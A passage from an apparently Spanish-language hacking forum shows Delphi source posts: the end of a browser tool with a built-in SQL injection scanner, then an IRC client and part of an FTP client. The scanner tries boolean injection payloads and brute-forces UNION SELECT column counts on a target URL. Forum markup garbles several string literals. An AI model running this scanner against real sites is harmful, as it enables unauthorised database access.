    345.       MessageBox(0, 'Not found', 'DH Browser 1.0', MB_ICONERROR);
    346.     end;
    347.   end;
    348.  
    349. end;
    350.  
    351. procedure TFormHome.btnEnterClick(Sender: TObject);
    352. // Navigate based on : [url]http://www.swissdelphicenter.ch/torry/showcode.php?id=2242[/url]
    353.  
    354. var
    355.  
    356.   cabeceras: OLEVariant;
    357.   uno: OLEVariant;
    358.   dos: OLEVariant;
    359.   tres: OLEVariant;
    360.  
    361. begin
    362.  
    363.   uno := navNoReadFromCache or navNoWriteToCache;
    364.   dos := '';
    365.   tres := '';
    366.  
    367.   if (cbUse_This_Headers.Checked) then
    368.   begin
    369.     cabeceras := mmHeaders.Text;
    370.     browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
    371.   end
    372.   else
    373.   begin
    374.     cabeceras := '';
    375.     browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
    376.   end;
    377.  
    378. end;
    379.  
    380. procedure TFormHome.FormCreate(Sender: TObject);
    381. begin
    382.   UseLatestCommonDialogs := False;
    383. end;
    384.  
    385. procedure TFormHome.btnSearch_for_textClick(Sender: TObject);
    386. begin
    387.   buscar_codigo.Execute;
    388. end;
    389.  
    390. procedure TFormHome.ShowBrowser1Click(Sender: TObject);
    391. begin
    392.   browser.Visible := True;
    393.   mmSource.Visible := False;
    394. end;
    395.  
    396. procedure TFormHome.ShowSourceHTML1Click(Sender: TObject);
    397. begin
    398.   browser.Visible := False;
    399.   mmSource.Visible := True;
    400. end;
    401.  
    402. procedure TFormHome.btnSQLI_ScannerClick(Sender: TObject);
    403. var
    404.   pass1: string;
    405.   pass2: string;
    406.   code: string;
    407.   urltest: string;
    408.   urlgen: string;
    409.   full: string;
    410.   codedos: string;
    411.   i: Integer;
    412.   regex_check: TPerlRegEx;
    413.  
    414. var
    415.  
    416.   cabeceras: OLEVariant;
    417.   uno: OLEVariant;
    418.   dos: OLEVariant;
    419.   tres: OLEVariant;
    420.  
    421. begin
    422.  
    423.   if not(txtURL.Text = '') then
    424.   begin
    425.     regex_check := TPerlRegEx.Create();
    426.  
    427.     status.Panels[0].Text := '</li><li type="square"> SQLI Scanning ...';[/li][/list]
    428.     FormHome.status.Update;
    429.  
    430.     pass1 := '+';
    431.     pass2 := '--';
    432.  
    433.     urltest := 'concat(0x4b30425241,1,0x4b30425241)';
    434.  
    435.     status.Panels[0].Text := '</li><li type="square"> Checking ...';[/li][/list]
    436.     FormHome.status.Update;
    437.  
    438.     code := nave.Get(txtURL.Text + '1' + pass1 + 'and' + pass1 + '1=1' + pass2);
    439.  
    440.     codedos := nave.Get(txtURL.Text + '1' + pass1 + 'and' + pass1 +
    441.       '1=0' + pass2);
    442.  
    443.     if not(code = codedos) then
    444.     begin
    445.  
    446.       status.Panels[0].Text := '</li><li type="square"> Finding columns number';[/li][/list]
    447.       FormHome.status.Update;
    448.  
    449.       urltest := '1' + pass1 + 'and' + pass1 + '1=0' + pass1 + 'union' + pass1 +
    450.         'select' + pass1 + 'concat(0x4b30425241,1,0x4b30425241)';
    451.       urlgen := '1';
    452.       for i := 2 to 36 do
    453.       begin
    454.  
    455.         status.Panels[0].Text := '</li><li type="square"> Columns Length : ' + IntToStr(i);[/li][/list]
    456.         FormHome.status.Update;
    457.         urltest := urltest + ',concat(0x4b30425241,' + IntToStr(i) +
    458.           ',0x4b30425241)';
    459.         urlgen := urlgen + ',' + IntToStr(i);
    460.         code := nave.Get(txtURL.Text + urltest + pass2);
    461.  
    462.         regex_check.regex := 'K0BRA(.*?)K0BRA';
    463.         regex_check.Subject := code;
    464.  
    465.         if regex_check.Match then
    466.         begin
    467.  
    468.           urlgen := StringReplace(urlgen, regex_check.Groups[1], 'hackman', []);
    469.           full := txtURL.Text + '1' + pass1 + 'and' + pass1 + '1=0' + pass1 +
    470.             'union' + pass1 + 'select' + pass1 + urlgen;
    471.  
    472.           txtURL.Text := full;
    473.  
    474.           uno := navNoReadFromCache or navNoWriteToCache;
    475.           dos := '';
    476.           tres := '';
    477.  
    478.           if (cbUse_This_Headers.Checked) then
    479.           begin
    480.             cabeceras := mmHeaders.Text;
    481.             browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
    482.           end
    483.           else
    484.           begin
    485.             cabeceras := '';
    486.             browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
    487.           end;
    488.           status.Panels[0].Text := '</li><li type="square"> SQI Scanner Finished';[/li][/list]
    489.           FormHome.status.Update;
    490.           MessageBox(0, 'SQI Scanner Finished', 'DH Browser 1.0',
    491.             MB_ICONINFORMATION);
    492.  
    493.           Abort;
    494.  
    495.         end;
    496.  
    497.       end;
    498.       status.Panels[0].Text := '[-] Columns length not found';
    499.       FormHome.status.Update;
    500.       MessageBox(0, 'Columns length not found', 'DH Browser 1.0', MB_ICONERROR);
    501.     end
    502.     else
    503.     begin
    504.       status.Panels[0].Text := '[-] Not vulnerable';
    505.       FormHome.status.Update;
    506.       MessageBox(0, 'Not vulnerable', 'DH Browser 1.0', MB_ICONERROR);
    507.     end;
    508.  
    509.     status.Panels[0].Text := '</li><li type="square"> Done';[/li][/list]
    510.     FormHome.status.Update;
    511.   end
    512.   else
    513.   begin
    514.     MessageBox(0, 'Enter URL', 'DH Browser 1.0', MB_ICONINFORMATION);
    515.   end;
    516.  
    517. end;
    518.  
    519. end.
    520.  
    521. // The End ?
    522.  

    Si quieren bajar el programa lo pueden hacer de aca :

    You are not allowed to view links. Register or Login.
    You are not allowed to view links. Register or Login.

    Eso seria todo.

31
Delphi / [Delphi] IRC Manager 0.3
« en: Agosto 19, 2016, 07:29:30 pm »
Un simple cliente para chatear en el IRC.

Una imagen :



El codigo :

Código: Delphi
  1. // IRC Manager 0.3
  2. // (C) Doddy Hackman 2016
  3.  
  4. unit irc;
  5.  
  6. interface
  7.  
  8. uses
  9.   Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  10.   System.Classes, Vcl.Graphics,
  11.   Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ComCtrls, Vcl.Menus,
  12.   Vcl.Imaging.pngimage, Vcl.ExtCtrls, IdContext, IdBaseComponent, IdComponent,
  13.   IdTCPConnection, IdTCPClient, IdCmdTCPClient, IdIRC, PerlRegex, MMSystem,
  14.   Vcl.ImgList, Vcl.Styles.Utils.ComCtrls, Vcl.Styles.Utils.Menus,
  15.   Vcl.Styles.Utils.SysStyleHook,
  16.   Vcl.Styles.Utils.SysControls, Vcl.Styles.Utils.Forms,
  17.   Vcl.Styles.Utils.StdCtrls, Vcl.Styles.Utils.ScreenTips;
  18.  
  19. type
  20.   TFormHome = class(TForm)
  21.     status: TStatusBar;
  22.     gbIRC_Config: TGroupBox;
  23.     lblHost: TLabel;
  24.     txtHost: TEdit;
  25.     lblPort: TLabel;
  26.     txtPort: TEdit;
  27.     lblChannel: TLabel;
  28.     txtChannel: TEdit;
  29.     lblNick: TLabel;
  30.     gbChat: TGroupBox;
  31.     gbNicks: TGroupBox;
  32.     lbNicks: TListBox;
  33.     txtNickname: TEdit;
  34.     btnConnect: TButton;
  35.     gbEnterText: TGroupBox;
  36.     txtText: TEdit;
  37.     btnSend: TButton;
  38.     logo: TImage;
  39.     mmChat: TRichEdit;
  40.     irc: TIdIRC;
  41.     ilIconos: TImageList;
  42.     procedure btnConnectClick(Sender: TObject);
  43.     procedure ircRaw(ASender: TIdContext; AIn: Boolean; const AMessage: string);
  44.     procedure btnSendClick(Sender: TObject);
  45.     procedure ircPrivateMessage(ASender: TIdContext;
  46.       const ANickname, AHost, ATarget, AMessage: string);
  47.     procedure ircNotice(ASender: TIdContext; const ANickname, AHost, ATarget,
  48.       ANotice: string);
  49.     procedure ircJoin(ASender: TIdContext;
  50.       const ANickname, AHost, AChannel: string);
  51.     procedure ircPart(ASender: TIdContext; const ANickname, AHost, AChannel,
  52.       APartMessage: string);
  53.     procedure ircQuit(ASender: TIdContext;
  54.       const ANickname, AHost, AReason: string);
  55.     procedure FormClose(Sender: TObject; var Action: TCloseAction);
  56.     procedure FormCreate(Sender: TObject);
  57.   private
  58.     { Private declarations }
  59.   public
  60.     { Public declarations }
  61.     logs_messages: Boolean;
  62.   end;
  63.  
  64. var
  65.   FormHome: TFormHome;
  66.  
  67. implementation
  68.  
  69. {$R *.dfm}
  70.  
  71. procedure TFormHome.btnConnectClick(Sender: TObject);
  72. begin
  73.   if (btnConnect.Caption = 'Connect') then
  74.   begin
  75.  
  76.     irc.nickname := txtNickname.text;
  77.     irc.AltNickname := txtNickname.text + '123';
  78.     irc.Username := txtNickname.text;
  79.     irc.RealName := txtNickname.text;
  80.     irc.Password := '';
  81.     irc.host := txtHost.text;
  82.     irc.port := StrToInt(txtPort.text);
  83.  
  84.     mmChat.Lines.Clear;
  85.     lbNicks.Items.Clear;
  86.     logs_messages := False;
  87.  
  88.     try
  89.       begin
  90.         mmChat.Lines.Add('Connecting ...');
  91.         irc.connect;
  92.         irc.Join(txtChannel.text);
  93.         btnConnect.Caption := 'Disconnect';
  94.         status.Panels[0].text := '<ul class="bbc_list"><li type="square"> Connected';[/li][/list]
  95.         FormHome.status.Update;
  96.         mmChat.Lines.Add('Connected !');
  97.       end;
  98.     except
  99.       begin
  100.         status.Panels[0].text := '[-] Error connecting to server';
  101.         FormHome.status.Update;
  102.         mmChat.Lines.Add('Error connecting to server !');
  103.         MessageBox(0, 'Error connecting to server', 'IRC Manager 1.0',
  104.           MB_ICONERROR);
  105.       end;
  106.     end;
  107.   end
  108.   else
  109.   begin
  110.     if (btnConnect.Caption = 'Disconnect') then
  111.     begin
  112.       irc.Part('');
  113.       irc.Disconnect('');
  114.       btnConnect.Caption := 'Connect';
  115.       status.Panels[0].text := '</li><li type="square"> Disconnected';[/li][/list]
  116.       FormHome.status.Update;
  117.       mmChat.Lines.Add('Disconnected !');
  118.     end;
  119.   end;
  120.  
  121. end;
  122.  
  123. procedure TFormHome.btnSendClick(Sender: TObject);
  124. begin
  125.   if not(txtText.text = '') then
  126.   begin
  127.     irc.Say(txtChannel.text, txtText.text);
  128.     mmChat.Lines.Add('<' + txtNickname.text + '> ' + txtText.text);
  129.     txtText.text := '';
  130.   end;
  131. end;
  132.  
  133. procedure TFormHome.FormClose(Sender: TObject; var Action: TCloseAction);
  134. begin
  135.   if mrYes = MessageDlg('Close program ?', mtwarning, [mbYes, mbNo], 0) then
  136.   begin
  137.     Exit;
  138.   end
  139.   else
  140.   begin
  141.     Action := caNone;
  142.   end;
  143. end;
  144.  
  145. procedure TFormHome.FormCreate(Sender: TObject);
  146. begin
  147.   UseLatestCommonDialogs := False;
  148. end;
  149.  
  150. procedure TFormHome.ircJoin(ASender: TIdContext;
  151.   const ANickname, AHost, AChannel: string);
  152. begin
  153.   lbNicks.Items.Add(ANickname);
  154.   mmChat.Lines.Add(ANickname + ' has joined');
  155. end;
  156.  
  157. procedure TFormHome.ircNotice(ASender: TIdContext;
  158.   const ANickname, AHost, ATarget, ANotice: string);
  159. begin
  160.   // chat.Lines.Add('<' + ANickname + '> ' + ANotice);
  161. end;
  162.  
  163. procedure TFormHome.ircPart(ASender: TIdContext;
  164.   const ANickname, AHost, AChannel, APartMessage: string);
  165. begin
  166.   lbNicks.Items.Delete(lbNicks.Items.IndexOf(ANickname));
  167.   mmChat.Lines.Add(ANickname + ' part');
  168. end;
  169.  
  170. procedure TFormHome.ircPrivateMessage(ASender: TIdContext;
  171.   const ANickname, AHost, ATarget, AMessage: string);
  172. var
  173.   check_regex: TPerlRegex;
  174. begin
  175.  
  176.   check_regex := TPerlRegex.Create();
  177.  
  178.   check_regex.regex := txtNickname.text;
  179.   check_regex.Subject := AMessage;
  180.   check_regex.Options := [preCaseLess];
  181.  
  182.   if check_regex.Match then
  183.   begin
  184.     mmChat.SelAttributes.Color := clRed;
  185.     mmChat.SelAttributes.Style := [fsBold];
  186.     mmChat.Lines.Add('* <' + ANickname + '> ' + AMessage);
  187.     sndPlaySound(Pchar(GetCurrentDir + '/Data/click.wav'), SND_NODEFAULT);
  188.   end
  189.   else
  190.   begin
  191.     mmChat.Lines.Add('<' + ANickname + '> ' + AMessage);
  192.   end;
  193.  
  194.   check_regex.Free;
  195.  
  196. end;
  197.  
  198. procedure TFormHome.ircQuit(ASender: TIdContext;
  199.   const ANickname, AHost, AReason: string);
  200. begin
  201.   lbNicks.Items.Delete(lbNicks.Items.IndexOf(ANickname));
  202.   mmChat.Lines.Add(ANickname + ' quit');
  203. end;
  204.  
  205. procedure TFormHome.ircRaw(ASender: TIdContext; AIn: Boolean;
  206.   const AMessage: string);
  207. var
  208.   i: integer;
  209.   code: string;
  210.   renicks: string;
  211.   listanow: TStringList;
  212.   regex: TPerlRegex;
  213.   otroregex: TPerlRegex;
  214.   nick: string;
  215.   texto: string;
  216. begin
  217.  
  218.   code := AMessage;
  219.  
  220.   if (logs_messages = True) then
  221.   begin
  222.     mmChat.Lines.Add(code);
  223.   end;
  224.  
  225.   regex := TPerlRegex.Create();
  226.   otroregex := TPerlRegex.Create();
  227.  
  228.   regex.regex := '353 (.*) = #(.*) <img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*)';
  229.   regex.Subject := code;
  230.  
  231.   if regex.Match then
  232.   begin
  233.  
  234.     lbNicks.Clear;
  235.  
  236.     renicks := regex.Groups[3];
  237.  
  238.     renicks := StringReplace(renicks, txtNickname.text, '', []);
  239.  
  240.     listanow := TStringList.Create;
  241.     listanow.Delimiter := ' ';
  242.     listanow.DelimitedText := renicks;
  243.  
  244.     for i := 0 to listanow.Count - 1 do
  245.     begin
  246.       if not(listanow[i] = '@') then
  247.       begin
  248.         lbNicks.Items.Add(listanow[i]);
  249.       end;
  250.     end;
  251.  
  252.     lbNicks.Items.Add(txtNickname.text);
  253.  
  254.     logs_messages := False;
  255.  
  256.   end;
  257.  
  258.   otroregex.regex := 'PRIVMSG (.*) :ACTION (.*)';
  259.   otroregex.Subject := code;
  260.  
  261.   if otroregex.Match then
  262.   begin
  263.     nick := otroregex.Groups[1];
  264.     texto := otroregex.Groups[2];
  265.     mmChat.Lines.Add('* ' + texto);
  266.   end;
  267.  
  268.   regex.Free;
  269.   otroregex.Free;
  270.  
  271. end;
  272.  
  273. end.
  274.  
  275. // The End ?
  276.  

Si quieren bajar el programa lo pueden hacer de You are not allowed to view links. Register or Login.

32
Delphi / [Delphi] FTP Manager 1.0
« en: Agosto 05, 2016, 11:01:10 pm »
Un cliente FTP en Delphi con las siguientes opciones :

  • Se puede conectar a cualquier servidor FTP[/li]
  • Navegar y listar los directorios de nuestra computadora[/li]
  • Navegar y listar los directorios del servidor FTP[/li]
  • Se puede crear,renombrar,eliminar archivos y directorios de nuestra computadora[/li]
  • Se puede crear,renombrar,eliminar archivos y directorios del servidor FTP[/li]
  • Se puede bajar y subir archivos del servidor FTP comodamente[/li][/list]

    Una imagen :



    El codigo :

    Código: Delphi
    1. // FTP Manager 1.0
    2. // (C) Doddy Hackman 2016
    3.  
    4. unit ftp;
    5.  
    6. interface
    7.  
    8. uses
    9.   Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
    10.   System.Classes, Vcl.Graphics,
    11.   Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ComCtrls,
    12.   IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
    13.   IdExplicitTLSClientServerBase, IdFTP, Shellapi, Vcl.ImgList, IdFTPList,
    14.   Vcl.Imaging.pngimage, Vcl.ExtCtrls, Vcl.Menus, Vcl.Styles.Utils.ComCtrls,
    15.   Vcl.Styles.Utils.Menus,
    16.   Vcl.Styles.Utils.SysStyleHook,
    17.   Vcl.Styles.Utils.SysControls, Vcl.Styles.Utils.Forms,
    18.   Vcl.Styles.Utils.StdCtrls, Vcl.Styles.Utils.ScreenTips;
    19.  
    20. type
    21.   TFormHome = class(TForm)
    22.     gbFTP_Data: TGroupBox;
    23.     lblHost: TLabel;
    24.     txtHost: TEdit;
    25.     lblUsername: TLabel;
    26.     txtUsername: TEdit;
    27.     lblPassword: TLabel;
    28.     txtPassword: TEdit;
    29.     btnConnect: TButton;
    30.     gbMyFiles: TGroupBox;
    31.     lblDirectory1: TLabel;
    32.     txtMe_Directory: TEdit;
    33.     btnListMe: TButton;
    34.     lvLocalFiles: TListView;
    35.     gbFTP_Files: TGroupBox;
    36.     lblDirectory2: TLabel;
    37.     txt_FTP_Directory: TEdit;
    38.     btnList_FTP: TButton;
    39.     lv_FTP_Files: TListView;
    40.     btnUpload: TButton;
    41.     btnDownload: TButton;
    42.     directorios: TListBox;
    43.     archivos: TListBox;
    44.     status: TStatusBar;
    45.     local_iconos: TImageList;
    46.     ftp_client: TIdFTP;
    47.     ftp_iconos: TImageList;
    48.     progreso: TProgressBar;
    49.     imgLogo: TImage;
    50.     menu_local: TPopupMenu;
    51.     MakeDirectory1: TMenuItem;
    52.     Rename1: TMenuItem;
    53.     Delete1: TMenuItem;
    54.     Refresh1: TMenuItem;
    55.     menu_ftp: TPopupMenu;
    56.     MakeDirectory2: TMenuItem;
    57.     Rename2: TMenuItem;
    58.     Delete2: TMenuItem;
    59.     Refresh2: TMenuItem;
    60.     ilIconos: TImageList;
    61.     procedure btnConnectClick(Sender: TObject);
    62.     procedure btnListMeClick(Sender: TObject);
    63.     procedure btnList_FTPClick(Sender: TObject);
    64.     procedure btnUploadClick(Sender: TObject);
    65.     procedure ftp_clientWork(ASender: TObject; AWorkMode: TWorkMode;
    66.       AWorkCount: Int64);
    67.     procedure ftp_clientWorkBegin(ASender: TObject; AWorkMode: TWorkMode;
    68.       AWorkCountMax: Int64);
    69.     procedure ftp_clientWorkEnd(ASender: TObject; AWorkMode: TWorkMode);
    70.     procedure btnDownloadClick(Sender: TObject);
    71.     procedure lvLocalFilesDblClick(Sender: TObject);
    72.     procedure lv_FTP_FilesDblClick(Sender: TObject);
    73.     procedure MakeDirectory1Click(Sender: TObject);
    74.     procedure Rename1Click(Sender: TObject);
    75.     procedure Delete1Click(Sender: TObject);
    76.     procedure Refresh1Click(Sender: TObject);
    77.     procedure FormCreate(Sender: TObject);
    78.     procedure MakeDirectory2Click(Sender: TObject);
    79.     procedure Rename2Click(Sender: TObject);
    80.     procedure Delete2Click(Sender: TObject);
    81.     procedure Refresh2Click(Sender: TObject);
    82.  
    83.   private
    84.     { Private declarations }
    85.   public
    86.     { Public declarations }
    87.   end;
    88.  
    89. var
    90.   FormHome: TFormHome;
    91.  
    92. implementation
    93.  
    94. {$R *.dfm}
    95.  
    96. procedure listar(dirnownow: string; ListaDeArchivos: TListView;
    97.   ListaDeIconos: TImageList);
    98. var
    99.   buscar: TSearchRec;
    100.   Icon: TIcon;
    101.   listate: TListItem;
    102.   getdata: SHFILEINFO;
    103.   dirnow: string;
    104.  
    105. begin
    106.  
    107.   if (DirectoryExists(dirnownow)) then
    108.   begin
    109.     ListaDeIconos.Clear;
    110.  
    111.     dirnow := StringReplace(dirnownow, '/', '\', [rfReplaceAll, rfIgnoreCase]);
    112.  
    113.     ListaDeArchivos.Items.Clear;
    114.     Icon := TIcon.Create;
    115.     ListaDeArchivos.Items.BeginUpdate;
    116.  
    117.     if FindFirst(dirnow + '*.*', faAnyFile, buscar) = 0 then
    118.     begin
    119.       repeat
    120.         if (buscar.Attr = faDirectory) then
    121.         begin
    122.  
    123.           with ListaDeArchivos do
    124.           begin
    125.  
    126.             if not(buscar.Name = '.') and not(buscar.Name = '..') then
    127.             begin
    128.  
    129.               listate := ListaDeArchivos.Items.Add;
    130.  
    131.               SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
    132.                 SizeOf(getdata), SHGFI_DISPLAYNAME);
    133.               listate.Caption := getdata.szDisplayName;
    134.  
    135.               SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
    136.                 SizeOf(getdata), SHGFI_TYPENAME);
    137.               listate.SubItems.Add(getdata.szTypeName);
    138.  
    139.               SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
    140.                 SizeOf(getdata), SHGFI_ICON or SHGFI_SMALLICON);
    141.               Icon.Handle := getdata.hIcon;
    142.               listate.ImageIndex := ListaDeIconos.AddIcon(Icon);
    143.  
    144.               DestroyIcon(getdata.hIcon);
    145.  
    146.             end;
    147.           end;
    148.  
    149.         end;
    150.       until FindNext(buscar) <> 0;
    151.       FindClose(buscar);
    152.     end;
    153.  
    154.     if FindFirst(dirnow + '*.*', faAnyFile, buscar) = 0 then
    155.     begin
    156.       repeat
    157.         if (buscar.Attr <> faDirectory) then
    158.         begin
    159.  
    160.           with ListaDeArchivos do
    161.           begin
    162.  
    163.             listate := ListaDeArchivos.Items.Add;
    164.  
    165.             SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
    166.               SizeOf(getdata), SHGFI_DISPLAYNAME);
    167.             listate.Caption := buscar.Name;
    168.  
    169.             SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
    170.               SizeOf(getdata), SHGFI_TYPENAME);
    171.             listate.SubItems.Add(getdata.szTypeName);
    172.  
    173.             SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
    174.               SizeOf(getdata), SHGFI_ICON or SHGFI_SMALLICON);
    175.             Icon.Handle := getdata.hIcon;
    176.             listate.ImageIndex := ListaDeIconos.AddIcon(Icon);
    177.  
    178.             DestroyIcon(getdata.hIcon);
    179.  
    180.           end;
    181.  
    182.         end
    183.  
    184.         until FindNext(buscar) <> 0;
    185.         FindClose(buscar);
    186.       end;
    187.  
    188.       ListaDeArchivos.Items.EndUpdate;
    189.     end;
    190.  
    191.   end;
    192.  
    193.   procedure listarftp(dirnownow2: string; ListaDeArchivosFTP: TListView;
    194.     ftp: TIdFTP; DirectoriosEncontrados: TListBox;
    195.     ArchivosEncontrados: TListBox);
    196.   var
    197.     i: integer;
    198.     Item: TIdFTPListItem;
    199.     listate2: TListItem;
    200.  
    201.   begin
    202.  
    203.     ListaDeArchivosFTP.Items.Clear;
    204.     DirectoriosEncontrados.Clear;
    205.     ArchivosEncontrados.Clear;
    206.  
    207.     listate2 := ListaDeArchivosFTP.Items.Add;
    208.  
    209.     ftp.ChangeDir(dirnownow2);
    210.     ftp.List('*.*', True);
    211.  
    212.     for i := 0 to ftp.DirectoryListing.Count - 1 do
    213.     begin
    214.  
    215.       Item := ftp.DirectoryListing.Items[i];
    216.       if Item.ItemType = ditFile then
    217.       begin
    218.         DirectoriosEncontrados.Items.Add(ftp.DirectoryListing.Items[i]
    219.           .FileName);
    220.       end
    221.       else
    222.       begin
    223.         ArchivosEncontrados.Items.Add(ftp.DirectoryListing.Items[i].FileName);
    224.       end;
    225.  
    226.     end;
    227.  
    228.     ListaDeArchivosFTP.Items.Clear;
    229.  
    230.     for i := 0 to ArchivosEncontrados.Count - 1 do
    231.     begin
    232.  
    233.       with ListaDeArchivosFTP do
    234.  
    235.       begin
    236.  
    237.         listate2 := ListaDeArchivosFTP.Items.Add;
    238.         listate2.Caption := ArchivosEncontrados.Items[i];
    239.         listate2.SubItems.Add('Directory');
    240.         listate2.ImageIndex := 0;
    241.  
    242.       end;
    243.     end;
    244.  
    245.     for i := 0 to DirectoriosEncontrados.Count - 1 do
    246.     begin
    247.  
    248.       with ListaDeArchivosFTP do
    249.  
    250.       begin
    251.  
    252.         listate2 := ListaDeArchivosFTP.Items.Add;
    253.         listate2.Caption := DirectoriosEncontrados.Items[i];
    254.         listate2.SubItems.Add('File');
    255.         listate2.ImageIndex := 1;
    256.  
    257.       end;
    258.     end;
    259.  
    260.   end;
    261.  
    262.   procedure TFormHome.btnConnectClick(Sender: TObject);
    263.   begin
    264.  
    265.     lv_FTP_Files.Items.Clear;
    266.  
    267.     directorios.Clear;
    268.     archivos.Clear;
    269.  
    270.     if (btnConnect.Caption = 'Disconnect') then
    271.     begin
    272.       ftp_client.Disconnect;
    273.       btnConnect.Caption := 'Connect';
    274.       status.Panels[0].Text := '</li><li type="square"> Disconnected';[/li][/list]
    275.       FormHome.status.Update;
    276.       txt_FTP_Directory.Text := '';
    277.       MessageBox(0, 'Disconnected', 'FTP Manager 1.0', MB_ICONINFORMATION);
    278.     end
    279.     else
    280.     begin
    281.  
    282.       ftp_client.host := txtHost.Text;
    283.       ftp_client.username := txtUsername.Text;
    284.       ftp_client.password := txtPassword.Text;
    285.  
    286.       try
    287.         ftp_client.connect;
    288.         btnConnect.Caption := 'Disconnect';
    289.         status.Panels[0].Text := '</li><li type="square"> Connected';[/li][/list]
    290.         FormHome.status.Update;
    291.  
    292.         txt_FTP_Directory.Text := '/';
    293.         listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client, directorios,
    294.           archivos);
    295.  
    296.         MessageBox(0, 'Connected', 'FTP Manager 1.0', MB_ICONINFORMATION);
    297.       except
    298.         status.Panels[0].Text := '[-] Error connecting to server';
    299.         FormHome.status.Update;
    300.         MessageBox(0, 'Error connecting to server', 'FTP Manager 1.0',
    301.           MB_ICONERROR);
    302.       end;
    303.     end;
    304.  
    305.   end;
    306.  
    307.   procedure TFormHome.Delete1Click(Sender: TObject);
    308.   var
    309.     archivo: string;
    310.   begin
    311.     if Assigned(lvLocalFiles.Selected) then
    312.     begin
    313.       archivo := lvLocalFiles.Selected.Caption;
    314.       if DeleteFile(txtMe_Directory.Text + '/' + archivo) then
    315.       begin
    316.         if not(txtMe_Directory.Text = '') then
    317.         begin
    318.           listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
    319.         end;
    320.         MessageBox(0, 'Deleted', 'FTP Manager 1.0', MB_ICONINFORMATION);
    321.       end
    322.       else
    323.       begin
    324.         MessageBox(0, 'Error', 'FTP Man